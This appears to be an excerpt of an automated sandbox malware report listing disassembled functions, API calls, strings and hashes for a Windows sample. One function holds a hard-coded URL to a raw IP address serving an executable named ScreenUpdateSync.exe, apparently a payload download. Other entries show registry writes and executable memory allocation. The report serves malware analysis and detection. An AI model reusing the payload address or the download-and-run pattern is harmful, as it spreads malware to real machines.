Part of subcall function 0040256D: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00402650

Strings

^(@, xrefs: 0040272E

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Ios_base_dtor__fassign_wcslenstd::ios_base::_
String ID: ^(@
API String ID: 2843524283-3001169298
Opcode ID: 078bfe418ef1d02b7eaba189eb9b1fd50eb37be1e2d01b456f61a77d8eea1933
Instruction ID: bdfaebc92cbdb0bbde8ec90ad7181e7a67154dc0685cd712f8757237ddbbe2d9
Opcode Fuzzy Hash: 078bfe418ef1d02b7eaba189eb9b1fd50eb37be1e2d01b456f61a77d8eea1933
Instruction Fuzzy Hash: B301BE71E0012C5ADB25EB25EC46AEE7778DB45314F0001FED605E31C1D9785F46CA98

Function 0042ADC4 Relevance: 4.6, APIs: 3, Instructions: 54
threadCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(?,?,Function_0002AC70,00000000,?,?), ref: 0042AE0D
GetLastError.KERNEL32(?,?,?,?,?,00409F59,00000000,00000000,?,?,00000000,?), ref: 0042AE19
__dosmaperr.LIBCMT ref: 0042AE20

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: d81a0880f9b4ab1b03127350d52b8c3d6e495d8753e5fd65d5e2db7067294489
Instruction ID: a4d88d7991a99629ead7662890d76cc83620798d0cb929ae61f78896f277130d
Opcode Fuzzy Hash: d81a0880f9b4ab1b03127350d52b8c3d6e495d8753e5fd65d5e2db7067294489
Instruction Fuzzy Hash: 9F01B536305129AFCB159FA2FC05AAF7B69EF85360F41006AFD1583210DB359D32C7AA

Function 00431405 Relevance: 4.6, APIs: 3, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,0040AE20,00000000,00000002,0040AE20,00000000,?,?,?,004314B4,00000000,00000000,0040AE20,00000002), ref: 0043143E
GetLastError.KERNEL32(?,004314B4,00000000,00000000,0040AE20,00000002,?,00428E11,?,00000000,00000000,00000001,?,0040AE20,?,00428EC6), ref: 00431448
__dosmaperr.LIBCMT ref: 0043144F

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID:
API String ID: 2336955059-0
Opcode ID: c4d61bfe769dea2557bca9f5ea17516a7d114a60f75f494886d5372c69fb114f
Instruction ID: e2e2f5a3bf5302813166182af0c2da2688465cb928c1670b48fb66af4367e99f
Opcode Fuzzy Hash: c4d61bfe769dea2557bca9f5ea17516a7d114a60f75f494886d5372c69fb114f
Instruction Fuzzy Hash: FD012832610114AFCB058FA9EC0596E3B29EB89321F24525AF915872A0FA349D528B94

Function 004028F7 Relevance: 4.5, APIs: 3, Instructions: 41
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNEL32(80000001,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402919
RegSetValueExW.KERNEL32(?,?,00000000,00000001,?,00000004,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402931
RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402941

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: efb7c1504bbdc0ec7410aa234e852707409d0ec4ecfa318a78e7a7b862498569
Instruction ID: 5cdb2ed0b66d26b21b8b5e7c422a9b1f823723e120ccdc486678b535dbafdb86
Opcode Fuzzy Hash: efb7c1504bbdc0ec7410aa234e852707409d0ec4ecfa318a78e7a7b862498569
Instruction Fuzzy Hash: 95F054B660011CFFEB214B95ED89EFBBA6CEB457E9F100075FB01B2160D6B14E109664

Function 0042AD24 Relevance: 4.5, APIs: 3, Instructions: 31
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0042EC0E: GetLastError.KERNEL32(?,?,?,0042B77E,00431A2C,?,0042EBB8,00000001,00000364,?,0042AC95,00454460,00000010), ref: 0042EC13
Part of subcall function 0042EC0E: _free.LIBCMT ref: 0042EC48
Part of subcall function 0042EC0E: SetLastError.KERNEL32(00000000), ref: 0042EC7C

ExitThread.KERNEL32 ref: 0042AD36
CloseHandle.KERNEL32(?,?,?,0042AE56,?,?,0042ACCD,00000000), ref: 0042AD5E
FreeLibraryAndExitThread.KERNEL32(?,?,?,?,0042AE56,?,?,0042ACCD,00000000), ref: 0042AD74

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary_free
String ID:
API String ID: 1198197534-0
Opcode ID: 6f00f1f5b4401f4667bd12c5f378f6fcab513e20210515c4313a25bb94f10483
Instruction ID: 6e67e04fc918f05a3f293a53a8d946c41c5a2fc48305b7d2413996da68f94d5f
Opcode Fuzzy Hash: 6f00f1f5b4401f4667bd12c5f378f6fcab513e20210515c4313a25bb94f10483
Instruction Fuzzy Hash: 8DF0E9302107246BCB301B35FE0CA177B9AAF41361F884A55FC24D3AA1D73CEC61CA5A

Function 004020E8 Relevance: 3.1, APIs: 2, Instructions: 125
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 0040210F
PostQuitMessage.USER32(00000000), ref: 004022AD

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: MessagePostProcQuitWindow
String ID:
API String ID: 3873111417-0
Opcode ID: 2d3fa111deeb51c5c54420dda3bfc97de4f0d89d107d67c5d9fb77a802c71042
Instruction ID: 79b3d71a0da0b04bdf76c97d9077014053dbbe0adc9d660bbbfb1100800d1b2a
Opcode Fuzzy Hash: 2d3fa111deeb51c5c54420dda3bfc97de4f0d89d107d67c5d9fb77a802c71042
Instruction Fuzzy Hash: B1410826278340E6EB148FA0BC55A663760FF5C752F10643BE608DB2B2E3B68D50C75E

Function 00401530 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 101
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00001562), ref: 00401538

Part of subcall function 00401090: _wcslen.LIBCMT ref: 00401097
Part of subcall function 00401090: _wcslen.LIBCMT ref: 004010B3

Strings

http://176.113.115.19/ScreenUpdateSync.exe, xrefs: 00401543, 0040167C

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _wcslen$Sleep
String ID: http://176.113.115.19/ScreenUpdateSync.exe
API String ID: 3358372957-3120454669
Opcode ID: b32fc59924922a325582d1466422e8e4014c9fc1e660fc36f41cda5090002400
Instruction ID: dd4c4dcc300b169fb65362e6015a7ae570c2c4728c2dc879cfb8d8301306f96d
Opcode Fuzzy Hash: b32fc59924922a325582d1466422e8e4014c9fc1e660fc36f41cda5090002400
Instruction Fuzzy Hash: D731BA17269388F9E202DBA1BC11A622361FF54B52F54643FD605CB2B2F7B28D64C71E

Function 0042AC70 Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00454460,00000010,00000003,0042EC0D), ref: 0042AC83
ExitThread.KERNEL32 ref: 0042AC8A

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 90b88eec408237057712a8e6ca5e14395e7d0bd365d2f4f0c89947242b787e19
Instruction ID: 96dc08565cf4aac2e27ca5460aedff96d4c3b12cc4e36486bc56d0b3e603dd56
Opcode Fuzzy Hash: 90b88eec408237057712a8e6ca5e14395e7d0bd365d2f4f0c89947242b787e19
Instruction Fuzzy Hash: 76F0D1306402149FCB01AFB2E90AB6D3770BF45314F10004AF90167392CB795821DB69

Function 00740E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,00740223,?,?), ref: 00740E19
SetErrorMode.KERNEL32(00000000,?,?,00740223,?,?), ref: 00740E1E

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 0d95ee2dc00d02904126902d519ad7257b8297a6f4be405c0843031f0b165e47
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 03D0123114512877D7003A94DC09BCD7B1CDF05B62F008411FB0DD9080C774994046E5

Function 00430E36 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 069117a0b3ecb57cbe06e606300534385849806ed632d99f1313e444140c0471
Instruction ID: 6272ce5ebcb5551eb13c71591ae19b2e7bd4fe6516ceebcc151ed3c5cfe0a765
Opcode Fuzzy Hash: 069117a0b3ecb57cbe06e606300534385849806ed632d99f1313e444140c0471
Instruction Fuzzy Hash: A9510E31B04204AFDB20CF18C851BAA7BB1EF89364F19925AF8089B391C775ED42CB94

Function 0040309D Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 0040317A

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: d8d9f89cd59205823889fb1de194acb7516546d07051db645d996c14b3a2ef7c
Instruction ID: b1cd6bc23aa87033d3006bcf4f733c49833bef788a229a8854e9815be8ce55ba
Opcode Fuzzy Hash: d8d9f89cd59205823889fb1de194acb7516546d07051db645d996c14b3a2ef7c
Instruction Fuzzy Hash: 2031AD35604316ABC710DF29C88091ABFA9BF88755F04893EFC14AB390C739DA148BDA

Function 0040256D Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00402650

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID:
API String ID: 323602529-0
Opcode ID: 5dc500eaf3cd5dcb799c1915a324b7a7dd8772d83f2c30128078334a58265362
Instruction ID: 4624e629df14b4525b7c8686325750632f9a0764d65f3ee34fbd339ffa8df684
Opcode Fuzzy Hash: 5dc500eaf3cd5dcb799c1915a324b7a7dd8772d83f2c30128078334a58265362
Instruction Fuzzy Hash: 40312CB0D00219DBCB14EFA5D885AEDFBB4BF48304F50856EE415B3281DB78AA48CF54

Function 004036C0 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 004036C7

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: c2ca5ca917e37b242827f2f4d280a5b347a0e37abc1d9b04e778ee10a6fe9eda
Instruction ID: 9b822d7448699111fff1bf28baa0500cb17bb8ed520245df9612d85b86e18a4a
Opcode Fuzzy Hash: c2ca5ca917e37b242827f2f4d280a5b347a0e37abc1d9b04e778ee10a6fe9eda
Instruction Fuzzy Hash: 612168B0A00218EFCB14DF19C584E9EBBB5BF48704F14C05AE814AB391C778AE50CB94

Function 0042F435 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0042F473

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: a5723800fd1f169e0437760a7f50ed7ef25da811485912dd9ceffa1c1c6a2725
Instruction ID: fea3c8185d25a869d03db2e196450157e21cb6ef349947979cd7c4f9e31cae11
Opcode Fuzzy Hash: a5723800fd1f169e0437760a7f50ed7ef25da811485912dd9ceffa1c1c6a2725
Instruction Fuzzy Hash: 48114871A0420AAFCF05DF58E94099B7BF4EF48304F4040AAFC09AB312D671ED15CBA9

Function 00439C7B Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00439CBC

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: dcff01ba0718bc25fbadba801be0e76f759b5211c2d86b2f90a3e61a906836b7
Instruction ID: b7fe7fe08409bd19dfadbafab139ede4e52a4e978ff87e37a6b76d32f4fa6700
Opcode Fuzzy Hash: dcff01ba0718bc25fbadba801be0e76f759b5211c2d86b2f90a3e61a906836b7
Instruction Fuzzy Hash: E3F09A32410009BBCF145E96DC02CDB3FAEEF89324F10121AF914A2150DA7A8E21ABA5

Function 00430357 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0040A8BB,00000000,?,0042343E,00000002,00000000,00000000,00000000,?,00409D6C,0040A8BB,00000004,00000000,00000000,00000000), ref: 00430389

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 94bb1d1cbc79ed1c8b0dc4f19487a5a93c6ecc87d3d9d0db5a6fa1ee50580957
Instruction ID: 47e3c5d68b380d3cd8e9ddaca3de6ba31461fa3b8e4965d6751cb7b5639b6047
Opcode Fuzzy Hash: 94bb1d1cbc79ed1c8b0dc4f19487a5a93c6ecc87d3d9d0db5a6fa1ee50580957
Instruction Fuzzy Hash: EBE02B31200330E7D73027666C14B6B37489F893B0F161327FC0896291DB2CDC4082ED

Function 0040C7AD Relevance: 1.5, APIs: 1, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 0040D067

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: 7740047dc230368fe408c387f836ace1f18ac7adcdd55ce6d9555945edc81265
Instruction ID: cfaa6f26a2fc29423537084f1d36e02b68419c7fda564f47a20173b9982a3252
Opcode Fuzzy Hash: 7740047dc230368fe408c387f836ace1f18ac7adcdd55ce6d9555945edc81265
Instruction Fuzzy Hash: 89E0613550020EF2CB0477A5EC86A5D331C4A00368F608237FC14710D2DF38C55AC8CD

Function 00403D31 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

_Deallocate.LIBCONCRT ref: 00403D41

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Deallocate
String ID:
API String ID: 1075933841-0
Opcode ID: 03b467a8024a0db2755d127a95dfe8777837e23729d12ff083ffe62b2a015746
Instruction ID: 115117fb0300a3dd3bb5d6d6bcaa10fcf292387c6354bd6642c268f5133d76a8
Opcode Fuzzy Hash: 03b467a8024a0db2755d127a95dfe8777837e23729d12ff083ffe62b2a015746
Instruction Fuzzy Hash: 5FD067714186128EE364DF69E440A52BBE4EF04310B24483FE4D9D26A4E6749890DB44

Function 004399BA Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00439D95,?,?,00000000,?,00439D95,00000000,0000000C), ref: 004399D7

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 831fd39e2a0a3c7adf232fa078b0f2218b70b1834c77c9a045495a99feabe57d
Instruction ID: 4e005c86236d0ebb2d3c50d8ebf826c21910d1f7893f8fa4ab497a8ae3f1d0cd
Opcode Fuzzy Hash: 831fd39e2a0a3c7adf232fa078b0f2218b70b1834c77c9a045495a99feabe57d
Instruction Fuzzy Hash: DDD06C3200010DBFDF128F84EC06EDA3BAAFB48714F014010BE5856020C732E871AB94

Function 00700465 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 007004B6

Memory Dump Source

Source File: 00000000.00000002.3929053083.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Offset: 00700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_700000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 975042e04c0cc53841f30de93a878fc030976dc0215957ab7d7d32188986008a
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 75113C79A40208EFDB01DF98C989E98BBF5AF08350F058094FA489B362D775EA50DF80

Non-executed Functions

Function 007420AB Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 205nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,00000014,?,?), ref: 007420E6
GetClientRect.USER32(?,?), ref: 007420FB
GetDC.USER32(?), ref: 00742102
CreateSolidBrush.GDI32(00646464), ref: 00742115
CreatePen.GDI32(00000001,00000001,00FFFFFF), ref: 00742134
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00742155
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00742160
MulDiv.KERNEL32(00000008,00000000), ref: 00742169
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000031,0044EED0), ref: 0074218D
SetBkMode.GDI32(?,00000001), ref: 00742218
_wcslen.LIBCMT ref: 00742230

Strings

D, xrefs: 007421AF

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Create$BrushCapsClientDeviceFontModeNtdllProc_RectRectangleSolidWindow_wcslen
String ID: D
API String ID: 1529870607-193714618
Opcode ID: 38ac28043bcdc19eb5720ea1865d2c5ca7591308d7597a2ec6c1277d7a7fe57c
Instruction ID: 0bfc0689c5e93eefe157a2cbda5a58772e237b25f7aaa8e146a3279a7330937e
Opcode Fuzzy Hash: 38ac28043bcdc19eb5720ea1865d2c5ca7591308d7597a2ec6c1277d7a7fe57c
Instruction Fuzzy Hash: 2A71FD72900218AFDB22DB78DD89FAEB7BCEB09750F0041A5F609E6151DA74AF90CF14

Function 004385F2 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBE9
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EBF6

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 004386FE
IsValidCodePage.KERNEL32(00000000), ref: 00438759
IsValidLocale.KERNEL32(?,00000001), ref: 00438768
GetLocaleInfoW.KERNEL32(?,00001001,0042D465,00000040,?,0042D585,00000055,00000000,?,?,00000055,00000000), ref: 004387B0
GetLocaleInfoW.KERNEL32(?,00001002,0042D4E5,00000040), ref: 004387CF

Strings

pxD, xrefs: 004386AB

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser
String ID: pxD
API String ID: 2287132625-1038599989
Opcode ID: 1597094c1490738b88209eaaeda3086c6c8f1ca37cd8beb0090fa150b2d8b552
Instruction ID: 9dbd7dfd993083ff572ae47b8a5661954b986dcb438d7250703f5e1ee53da68c
Opcode Fuzzy Hash: 1597094c1490738b88209eaaeda3086c6c8f1ca37cd8beb0090fa150b2d8b552
Instruction Fuzzy Hash: E6516F71900305ABEF20DFA5CC41ABFB7B9BF08740F14512EF914E7291EB7899048B69

Function 0043A328 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0043A46E

Strings

1#QNAN, xrefs: 0043B674
1#IND, xrefs: 0043B666
1#SNAN, xrefs: 0043B66D
1#INF, xrefs: 0043B67B

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 422b1eabb5eb2a3002e846bac749139e5bcba0c4f1565483385974a192af7918
Instruction ID: ff4620f8328d6c9c48ea7116e64dfe1de2ee798d2ea9821a181fa269f2dec925
Opcode Fuzzy Hash: 422b1eabb5eb2a3002e846bac749139e5bcba0c4f1565483385974a192af7918
Instruction Fuzzy Hash: 5AC26C71E086288FDB25CE28DD407EAB3B5EB49304F1551EBD84DE7240E778AE918F85

Function 00437CBA Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0042D46C,?,?,?,?,0042CEC3,?,00000004), ref: 00437D9C
_wcschr.LIBVCRUNTIME ref: 00437E2C
_wcschr.LIBVCRUNTIME ref: 00437E3A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,0042D46C,00000000,0042D58C), ref: 00437EDD

Strings

pxD, xrefs: 00437D2D

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_free
String ID: pxD
API String ID: 2444527052-1038599989
Opcode ID: 4828067ea9bd6d2b06e99130a7ba9a820cce36f8b25c0b995c90e8974e491da8
Instruction ID: f1471575f86688b8661fd7854d916c2bbc86bb661af2c53939a6d4d782b82661
Opcode Fuzzy Hash: 4828067ea9bd6d2b06e99130a7ba9a820cce36f8b25c0b995c90e8974e491da8
Instruction Fuzzy Hash: 4361FAB1608205AADB34AB35DC42AB773A8EF0C754F10146FF955D7281EB78ED418BAC

Function 00778685 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,007789A4,?,00000000), ref: 0077871E
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,007789A4,?,00000000), ref: 00778747
GetACP.KERNEL32(?,?,007789A4,?,00000000), ref: 0077875C

Strings

ACP, xrefs: 007786A3
OCP, xrefs: 007786D9

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: fa9c6e49a07a9a95856a158974fa37b4f5d38a56683c3a68ddcad73596cc5fdd
Instruction ID: 2c0dd5b25b29267b608ff92f8d2b91c36b319876a30640e391629126ed1862d9
Opcode Fuzzy Hash: fa9c6e49a07a9a95856a158974fa37b4f5d38a56683c3a68ddcad73596cc5fdd
Instruction Fuzzy Hash: 3021C426790100AAEFB89F94C90CB9772A6EB50BE4B66C525E90FD7101EF36DD00C393

Function 0043841E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,0043873D,?,00000000), ref: 004384B7
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,0043873D,?,00000000), ref: 004384E0
GetACP.KERNEL32(?,?,0043873D,?,00000000), ref: 004384F5

Strings

OCP, xrefs: 00438472
ACP, xrefs: 0043843C

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: fa9c6e49a07a9a95856a158974fa37b4f5d38a56683c3a68ddcad73596cc5fdd
Instruction ID: 006ee408eda5b3b526e6a713eff5b428684d2cb51fab82c9da05a37a906fe258
Opcode Fuzzy Hash: fa9c6e49a07a9a95856a158974fa37b4f5d38a56683c3a68ddcad73596cc5fdd
Instruction Fuzzy Hash: B7218631600302AAE730CF25C900A97F3A6AB79B60F56956EF949D7A00FF3ADD41C758

Function 00778859 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0076EDF1: GetLastError.KERNEL32(?,?,0076769C,?,00000000,?,00769A96,007421C8,00000000,?,0044EEE0), ref: 0076EDF5
Part of subcall function 0076EDF1: _free.LIBCMT ref: 0076EE28
